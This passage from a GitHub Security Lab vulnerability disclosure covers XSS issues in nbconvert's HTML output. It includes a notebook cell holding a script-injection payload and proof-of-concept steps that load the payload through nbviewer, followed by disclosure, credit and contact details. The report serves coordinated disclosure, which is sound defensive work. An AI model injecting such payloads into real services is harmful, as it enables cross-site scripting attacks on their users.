   "cell\_type": "markdown",
   "id": "2d42de4a",
   "metadata": {},
   "source": \[
     "<script>alert(1)</script>"
   \]
  },

**Proof of Concept**

These vulnerabilities may affect any server using nbconvert to generate HTML and not using a secure content-security-policy (CSP) policy. For example nbviewer is vulnerable to the above mentioned XSS issues:

1.  Create Gist with payload. eg:

*   https://gist.github.com/pwntester/ff027d91955369b85f99bb1768b7f02c

2.  Then load gist on nbviewer. eg:

*   https://nbviewer.jupyter.org/gist/pwntester/ff027d91955369b85f99bb1768b7f02c

Note: response is served with content-security-policy: connect-src 'none';

**GitHub Security Advisories**

We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.

**Credit**

These issues were discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

**Contact**

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-1013, GHSL-2021-1014, GHSL-2021-1015, GHSL-2021-1016, GHSL-2021-1017, GHSL-2021-1018, GHSL-2021-1019, GHSL-2021-1020, GHSL-2021-1021, GHSL-2021-1022, GHSL-2021-1023, GHSL-2021-1024, GHSL-2021-1025, GHSL-2021-1026, GHSL-2021-1027 or GHSL-2021-1028 in any communication regarding these issues.

**Disclosure Policy**

This report is subject to our coordinated disclosure policy.

Tag

#xss